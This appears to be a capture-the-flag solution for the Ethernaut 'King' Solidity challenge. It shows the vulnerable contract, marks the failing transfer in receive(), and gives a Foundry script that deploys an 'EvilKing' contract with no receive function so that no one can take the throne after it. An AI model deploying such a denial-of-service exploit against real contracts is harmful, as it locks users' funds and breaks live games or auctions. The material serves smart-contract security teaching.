1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract King {
5
    address king;
6
    uint256 public prize;
7
    address public owner;
8

9
    constructor() payable {
10
        owner = msg.sender;
11
        king = msg.sender;
12
        prize = msg.value;
13
    }
14

15
    receive() external payable {
16
        require(msg.value >= prize || msg.sender == owner);
17
        payable(king).transfer(msg.value);
18
        king = msg.sender;
19
        prize = msg.value;
20
    }
21

22
    function _king() public view returns (address) {
23
        return king;
24
    }
25
}

1
receive() external payable {
2
    require(msg.value >= prize || msg.sender == owner);
3
    payable(king).transfer(msg.value);  // This can fail
4
    king = msg.sender;
5
    prize = msg.value;
6
}

1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.8.0;
3

4
import "forge-std/Script.sol";
5
import "forge-std/console.sol";
6
import "../src/King.sol";
7

8
contract EvilKing {
9
    // Constructor becomes king by sending exactly the current prize amount
10
    constructor(King _kingInstance) payable {
11
        // Call the King contract with the exact prize amount
12
        // This will make this contract the new king
13
        (bool success, ) = address(_kingInstance).call{value: _kingInstance.prize()}("");
14
        require(success, "Failed to claim kingship");
15
    }
16

17
    // NO receive() or fallback() function - this contract cannot receive Ether!
18
}
19

20
contract KingSolution is Script {
21
    King public kingInstance = King(payable(<YOUR_INSTANCE>));
22

23
    function run() public {
24
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
25

26
        // Check current king and prize before attack
27
        console.log("Current king:", kingInstance._king());
28
        console.log("Current prize:", kingInstance.prize());
29

30
        // Deploy EvilKing contract with exactly the current prize amount
31
        // This will make EvilKing the new king
32
        new EvilKing{value: kingInstance.prize()}(kingInstance);
33

34
        // Verify we are now the king
35
        console.log("New king:", kingInstance._king());
36
        console.log("My contract address:", address(this));
37

38
        vm.stopBroadcast();
39
    }
40
}